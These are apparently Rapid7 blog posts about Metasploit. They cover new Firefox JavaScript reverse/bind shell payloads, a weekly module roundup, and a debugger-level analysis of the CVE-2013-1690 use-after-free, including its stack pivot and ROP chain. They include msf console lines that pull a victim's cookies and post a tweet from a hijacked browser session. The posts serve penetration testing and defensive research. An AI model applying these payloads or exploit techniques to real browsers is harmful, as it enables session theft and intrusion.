Those of you with a keen eye on metasploit-framework/master will notice the addition of three new payloads: firefox/shell_reverse_tcp firefox/shell_bind_tcp firefox/exec These are Javascript payloads meant for executing in a privileged Javascript context inside of Firefox. By calling certain native functions not meant to be exposed to ordinary web content, a classic TCP command shell can be opened. To a pentester, these payloads are useful for popping platform-independent in-process shells on a remote Firefox instance. How does it work? Firefox contains a Javascript API called XPCOM which consists of privileged native methods primarily implemented as C bindings. This API is commonly invoked by Firefox Addons and is also used by the "glue" code running inside the Firefox browser itself. If you can find a way to run Javascript code with access to XPCOM - either by convincing the user to install an untrusted addon or by finding a privilege escalation exploit in Firefox itself - you can open a raw TCP socket and run executables with Javascript. By using some shell redirection, we can get a working command shell connection back to a metasploit instance. We currently have three Firefox privilege escalation exploits in the framework: exploit/multi/browser/firefox_svg_plugin (Firefox 17.* Flash) exploit/multi/browser/firefox_proto_crmfrequest (Firefox 5-15.*) exploit/multi/browser/firefox_xpi_bootstrapped_addon (all versions) Why is it better? The Javascript payloads are able to maintain shell sessions without dropping a native exe to the disk, which makes their presence significantly harder to detect. Another immediate benefit is that our existing Firefox exploits can now be included in BrowserAutopwn, since the target is static. Additionally, since the payload still has access to the Firefox Javascript environment, we can just as easily eval Javascript code, which makes things like cookie extraction or XSS attacks very easy. As an example I wrote a post module, post/firefox/gather/xss. To use it, simply specify the URL you want to run under and specify a SCRIPT option. The SCRIPT will be eval()'d by the payload and any results will be printed: msf> use post/firefox/gather/xss msf> set SESSION 1 msf> set URL https://rapid7.com msf> set SCRIPT "send(document.cookie);" [+] id=f612814001be908ds79f Or, with a slightly more advanced script which sends a tweet in the target browser: msf> set URL https://twitter.com msf> set SCRIPT "$('.tweet-box').find('.tweet-box').focus().text('Metasploit Courtesy Tweet').parents('form').find('.tweet-button button').click(); return 'sent';" [+] sent Note: You can use return or send to send back data, but you can only send once. If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Weekly Metasploit Update: Firefox Payloads, VirusTotal Checks, and What To Do With Unstable Modules

Firefox PayloadsHey, remember last summer when it was reported that the FBI was allegedly targeting Firefox with an 0day to nab criminals? Turns out, perhaps whoever was really behind it wasn't thinking far enough outside the box, because Firefox has some built-in functionality for some…

Firefox PayloadsHey, remember last summer when it was reported that the FBI was allegedly targeting Firefox with an 0day to nab criminals? Turns out, perhaps whoever was really behind it wasn't thinking far enough outside the box, because Firefox has some built-in functionality for some pretty nifty trickery which should make life significantly easier for the penetration tester and social engineer-er.As of this week, Metasploit features three new Firefox-specific payloads: a regular command execution payload, a shell bound to an arbitrary TCP port, and a reverse-TCP shell bind, all from the inestimable Joe Vennix. I won't spill the beans on the technical details too much here, because he should have a blog post out soon on this that goes into the nitty-gritty.Of course, since Metasploit Framework is all full of open source goodness and light, you can peek in on the diffs yourself to see how it was implemented. Unlike some shadier organizations, we like sharing our Firefox exploitation techniques to move the state of the art of defense forward for everyone. VirusTotal Checking on the Command LineMeanwhile, Wei @_sinn3r Chen has put together some pretty awesomely cool tooling around testing arbitrary binaries and shellcode with VirusTotal. You might have caught Mark Russinovich's tweet about Process Explorer cross-referencing against VirusTotal hashes, which is both fun and useful, and we've been wanting to make that kind of thing easier for exploit devs, too. Again, expect a more in-depth blog post about this from Wei Real Soon now. In the meantime, check out Metasploit's VirusTotal Malware Sampler, pictured at right.Unstable ModulesYou know that I love each and every one of our open source contributors.  Honestly, I do. You make Metasploit go. Sometimes, though, we get some new whiz-bang exploit or auxiliary that doesn't quite cut it, and no reasonable amount of work we can do here will get it over the line.  Usually, it's because the original contributor loses interest or access in the target, and becomes unresponsive to needed improvements.This week, I spent some time documenting what's actually supposed to happen with these modules, which is where the unstable Metasploit branch comes in. You're welcome to read up on the procedures we use to land unstable modules, which is quite thrilling. But that's not the point of this blog post.The point is, git and GitHub makes it easy to be a pack rat about these kinds of things -- git means never having to delete half-finished content, ever. If you compare unstable to master, you can see some decent statistics on what's lurking down in unstable and how old some of it is. If you're half way proficient with the git command line, you can just checkout the unstable branch locally, head on down the unstable-modules directory, and see what's there.This creates a great opportunity for someone who might want to contribute to Metasploit, but not sure of where to start. Nominally, most of the work is already done on a module by the time it hits the unstable graveyard -- it just needs a push to get over the finish line. So, new contributors are welcome to ply their necromancy and resurrect these modules and help them fulfill their destiny. If this sounds like something you'd like to do, just be sure to mention the unstable branch in your pull request so we can excise the old and busted version once you land your new hotness.New ModulesTurns out, there are some more backdoors floating around the SOHO router landscape, so we have three new modules this week written by Matt Andreko which implement Eloi Vanderbeken's techniques used to discover and exploit them. You are cordially invited to read Matt's HOWTO blog post for more technical detail about his adventures in backdoored router exploitation.With that, here are this week's haul of new Metasploit modules:Exploit modulesSerComm Device Remote Code Execution by Eloi Vanderbeken and Matt "hostess" Andreko exploits OSVDB-101653Auxiliary and post modulesSerComm Device Configuration Dump by Eloi Vanderbeken and Matt "hostess" Andreko exploits OSVDB-101653SerComm Network Device Backdoor Detection by Eloi Vanderbeken and Matt "hostess" Andreko exploits OSVDB-101653MS08-067 Scanner by wvu, hdm, Brett Moore, frank2, jduck, and sho-luv exploits MS08-067Firefox XSS by joevMulti Gather Malware Verifier by sinn3rIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Here's that FBI Firefox Exploit for You (CVE-2013-1690)

Hello fellow hackers, I hope you guys had a blast at Defcon partying it up and hacking all the things, because ready or not, here's more work for you.  During the second day of the conference, I noticed a reddit post regarding some Mozilla Firefox…

Hello fellow hackers, I hope you guys had a blast at Defcon partying it up and hacking all the things, because ready or not, here's more work for you.  During the second day of the conference, I noticed a reddit post regarding some Mozilla Firefox 0day possibly being used by the FBI in order to identify some users using Tor for crackdown on child pornography. The security community was amazing: within hours, we found more information such as brief analysis about the payload, simplified PoC, bug report on Mozilla, etc. The same day, I flew back to the Metasploit hideout (with Juan already there), and we started playing catch-up on the vulnerability. Brief Analysis The vulnerability was originally discovered and reported by researcher "nils". You can see his discussion about the bug on Twitter. A proof-of-concept can be found here. We began with a crash with a modified version of the PoC: eax=72622f2f ebx=000b2440 ecx=0000006e edx=00000000 esi=07adb980 edi=065dc4ac eip=014c51ed esp=000b2350 ebp=000b2354 iopl=0         nv up ei pl nz na po nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202 xul!DocumentViewerImpl::Stop 0x58: 014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:72622f2f=???????? EAX is a value from ESI. One way to track where this allocation came from is by putting a breakpoint at moz_xmalloc: ... bu mozalloc!moz_xmalloc 0xc "r $t0=poi(esp c); .if (@$t0==0xc4) {.printf \"Addr=0xx, Size=0xx\",eax, @$t0; .echo; k; .echo}; g" ... Addr=0x07adb980, Size=0x000000c4 ChildEBP RetAddr 0012cd00 014ee6b1 mozalloc!moz_xmalloc 0xc [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\memory\mozalloc\mozalloc.cpp @ 57] 0012cd10 013307db xul!NS_NewContentViewer 0xe [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 497] The callstack tells us this was allocated in nsdocumentviewer.cpp, at line 497, which leads to the following function. When the DocumentViewerImpl object is created while the page is being loaded, this also triggers a malloc() with size 0xC4 to store that: nsresult NS_NewContentViewer(nsIContentViewer** aResult) { *aResult = new DocumentViewerImpl(); NS_ADDREF(*aResult); return NS_OK; } In the PoC, window.stop() is used repeatedly that's meant to stop document parsing, except they're actually not terminated, just hang.  Eventually this leads to some sort of exhaustion and allows the script to continue, and the DocumentViewerImpl object lives on.  And then we arrive to the next line: ownerDocument.write(). The ownerDocument.write() function is used to write to the parent frame, but the real purpose of this is to trigger xul!nsDocShell::Destroy, which deletes DocumentViewerImpl: Free DocumentViewerImpl at: 0x073ab940 ChildEBP RetAddr 000b0b84 01382f42 xul!DocumentViewerImpl::`scalar deleting destructor' 0x10 000b0b8c 01306621 xul!DocumentViewerImpl::Release 0x22 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\layout\base\nsdocumentviewer.cpp @ 548] 000b0bac 01533892 xul!nsDocShell::Destroy 0x14f [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\docshell\base\nsdocshell.cpp @ 4847] 000b0bc0 0142b4cc xul!nsFrameLoader::Finalize 0x29 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsframeloader.cpp @ 579] 000b0be0 013f4ebd xul!nsDocument::MaybeInitializeFinalizeFrameLoaders 0xec [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 5481] 000b0c04 0140c444 xul!nsDocument::EndUpdate 0xcd [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 4020] 000b0c14 0145f318 xul!mozAutoDocUpdate::~mozAutoDocUpdate 0x34 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\mozautodocupdate.h @ 35] 000b0ca4 014ab5ab xul!nsDocument::ResetToURI 0xf8 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2149] 000b0ccc 01494a8b xul!nsHTMLDocument::ResetToURI 0x20 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 287] 000b0d04 014d583a xul!nsDocument::Reset 0x6b [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\base\src\nsdocument.cpp @ 2088] 000b0d18 01c95c6f xul!nsHTMLDocument::Reset 0x12 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 274] 000b0f84 016f6ddd xul!nsHTMLDocument::Open 0x736 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1523] 000b0fe0 015015f0 xul!nsHTMLDocument::WriteCommon 0x22a4c7 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1700] 000b0ff4 015e6f2e xul!nsHTMLDocument::Write 0x1a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\content\html\document\src\nshtmldocument.cpp @ 1749] 000b1124 00ae1a59 xul!nsIDOMHTMLDocument_Write 0x537 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\obj-firefox\js\xpconnect\src\dom_quickstubs.cpp @ 13705] 000b1198 00ad2499 mozjs!js::InvokeKernel 0x59 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 352] 000b11e8 00af638a mozjs!js::Invoke 0x209 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 396] 000b1244 00a9ef36 mozjs!js::CrossCompartmentWrapper::call 0x13a [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jswrapper.cpp @ 736] 000b1274 00ae2061 mozjs!JSScript::ensureRanInference 0x16 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinferinlines.h @ 1584] 000b12e8 00ad93fd mozjs!js::InvokeKernel 0x661 [e:\builds\moz2_slave\rel-m-rel-w32-bld\build\js\src\jsinterp.cpp @ 345] What happens next is after the ownerDocument.write() finishes, one of the window.stop() calls that used to hang begins to finish up, which brings us to xul!nsDocumentViewer::Stop. This function will access the invalid memory, and crashes. At this point you might see two different racy crashes: Either it's accessing some memory that doesn't seem to be meant for that CALL, just because that part of the memory happens to fit in there. Or you crash at mov ecx, dword ptr [eax] like the following: 0:000> r eax=41414141 ebx=000b4600 ecx=0000006c edx=00000000 esi=0497c090 edi=067a24ac eip=014c51ed esp=000b4510 ebp=000b4514 iopl=0         nv up ei pl nz na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206 xul!DocumentViewerImpl::Stop 0x58: 014c51ed 8b08            mov     ecx,dword ptr [eax]  ds:0023:41414141=???????? 0:000> u . L3 014c51ed 8b08            mov     ecx,dword ptr [eax] 014c51ef 50              push    eax 014c51f0 ff5104          call    dword ptr [ecx 4] However, note the crash doesn't necessarily have to end in xul!nsDocumentViewer::Stop, because in order to end up this in code path, it requires two conditions, as the following demonstrates: DocumentViewerImpl::Stop(void) { NS_ASSERTION(mDocument, "Stop called too early or too late"); if (mDocument) { mDocument->StopDocumentLoad(); } if (!mHidden && (mLoaded || mStopped) && mPresContext && !mSHEntry) mPresContext->SetImageAnimationMode(imgIContainer::kDontAnimMode); mStopped = true; if (!mLoaded && mPresShell) {  // These are the two conditions that must be met // If you're here, you will crash nsCOMPtrshellDeathGrip(mPresShell); mPresShell->UnsuppressPainting(); } return NS_OK; } We discovered the above possibility due to the exploit in the wild using a different path to "call dword ptr [eax 4BCh]" in function nsIDOMHTMLElement_GetInnerHTML, meaning that it actually survives in xul!nsDocumentViewer::Stop.  It's also using an information leak to properly craft a NTDLL ROP chain specifically for Windows 7. The following example based on the exploit in the wild should demonstrate this, where we begin with the stack pivot: eax=120a4018 ebx=002ec00c ecx=002ebf68 edx=00000001 esi=120a3010 edi=00000001 eip=66f05c12 esp=002ebf54 ebp=002ebf8c iopl=0         nv up ei pl zr na pe nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246 xul!xpc_LocalizeContext 0x3ca3f: 66f05c12 ff90bc040000    call    dword ptr [eax 4BCh] ds:0023:120a44d4=33776277 We can see that the pivot is a XCHG EAX,ESP from NTDLL: 0:000> u 77627733 L6 ntdll!__from_strstr_to_strchr 0x9b: 77627733 94              xchg    eax,esp 77627734 5e              pop     esi 77627735 5f              pop     edi 77627736 8d42ff          lea     eax,[edx-1] 77627739 5b              pop     ebx 7762773a c3              ret After pivoting, it goes through the whole NTDLL ROP chain, which calls ntdll!ZwProtectVirtualMemory to bypass DEP, and then finally gains code execution: 0:000> dd /c1 esp L9 120a4024  77625f18 ; ntdll!ZwProtectVirtualMemory 120a4028  120a5010 120a402c  ffffffff 120a4030  120a4044 120a4034  120a4040 120a4038  00000040 120a403c  120a4048 120a4040  00040000 120a4044  120a5010 Note: The original exploit does not seem to go against Mozilla Firefox 17 (or other buggy versions) except for Tor Browser, but you should still get a crash.  We figured whoever wrote the exploit didn't really care about regular Firefox users, because apparently they got nothing to hide :-) Metasploit Module Because of the complexity of the exploit, we've decided to do an initial release for Mozilla Firefox for now. An improved version of the exploit is already on the way, and hopefully we can get that out as soon as possible, so keep an eye on the blog and msfupdate, and stay tuned.  Meanwhile, feel free to play FBI in your organization, excise that exploit on your next social engineering training campaign. ![](/content/images/post-images/29324/Screen Shot 2013-08-07 at 2.10.40 AM.png) Mitigation Protecting against this exploit is typically straightforward: All you need to do is upgrade your Firefox browser (or Tor Bundle Browser, which was the true target of the original exploit). The vulnerability was patched and released by Mozilla back in late June of 2013, and the TBB was updated a couple days later, so the world has had a little over a month to get with the patched versions. Given that, it would appear that the original adversaries here had reason to believe that at least as of early August of 2013, their target pool had not patched. If you're at all familiar with Firefox's normal updates, it's difficult to avoid getting patched; you need to go out of your way to skip updating, and you're more likely than not to screw that up and get patched by accident. However, since the people using Tor services often are relying on read-only media, like a LiveCD or a RO virtual environment, it's slightly more difficult for them to get timely updates. Doing so means burning a new LiveCD, or marking their VM as writable to make updates persistent. In short, it looks we have a case where good security advice (don't save anything on your secret operating system) got turned around into a poor operational security practice, violating the "keep up on security patches" rule. Hopefully, this is a lesson learned.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now